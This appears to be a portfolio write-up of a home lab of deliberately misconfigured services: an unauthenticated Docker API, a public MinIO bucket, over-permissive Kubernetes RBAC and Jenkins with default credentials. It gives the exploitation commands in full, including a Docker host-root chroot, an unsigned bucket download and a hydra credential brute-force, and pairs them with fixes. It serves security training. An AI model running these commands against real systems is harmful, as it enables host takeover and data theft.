Offensive Operations (Ethical)

Controlled Misconfiguration Exploitation

Identify and exploit security misconfigurations in controlled lab environments.

Security testing · misconfiguration analysis · controlled exploitation

Project objective

Build a self-hosted lab of commonly misconfigured services — an exposed Docker daemon, a public-style S3-compatible bucket (MinIO), a Kubernetes cluster with an over-permissive RBAC role, and a default-credential Jenkins instance — to practice identifying and safely exploiting the kind of configuration drift that shows up constantly in real environments but rarely in CTF-style challenges.

What I did

Each service was deliberately misconfigured to match a pattern seen in real assessments, then attacked to confirm actual impact rather than just flagging the finding theoretically.

# Exposed Docker API — no TLS, no auth
docker -H tcp://10.10.10.20:2375 ps
docker -H tcp://10.10.10.20:2375 run -v /:/host -it alpine chroot /host sh

# Public read/write object storage bucket (MinIO)
aws --endpoint-url http://10.10.10.21:9000 s3 ls s3://backups --no-sign-request
aws --endpoint-url http://10.10.10.21:9000 s3 cp s3://backups/db-dump.sql . --no-sign-request

# Kubernetes RBAC audit for over-permissive bindings
kubectl auth can-i --list --as=system:serviceaccount:default:ci-runner
kubectl get clusterrolebinding -o wide | grep cluster-admin

# Default credential check against exposed admin panels
hydra -l admin -P default-creds.txt 10.10.10.22 http-post-form \
  "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:F=Invalid"

# Automated cloud misconfig scan
prowler aws --checks s3_bucket_public_access,iam_root_hardware_mfa_enabled

The Docker misconfiguration gave full host filesystem access via a volume mount, the MinIO bucket leaked a database backup containing credentials, and the Kubernetes service account had a cluster-admin binding it never needed for its CI role — a classic over-provisioned access pattern. Each was written up with exploitation steps, actual impact, and the specific configuration change (auth on the Docker socket, bucket policy restriction, least-privilege RBAC role) that would have prevented it.

Key learning

Misconfigurations are consistently more impactful than they look on paper — an "exposed API with no auth" finding sounds minor until it turns into full host compromise in two commands. Building the lab myself, rather than only reading about these patterns, also made clear how often these gaps come from convenience decisions made during setup (disabling auth "just for testing") that are never revisited before going to production.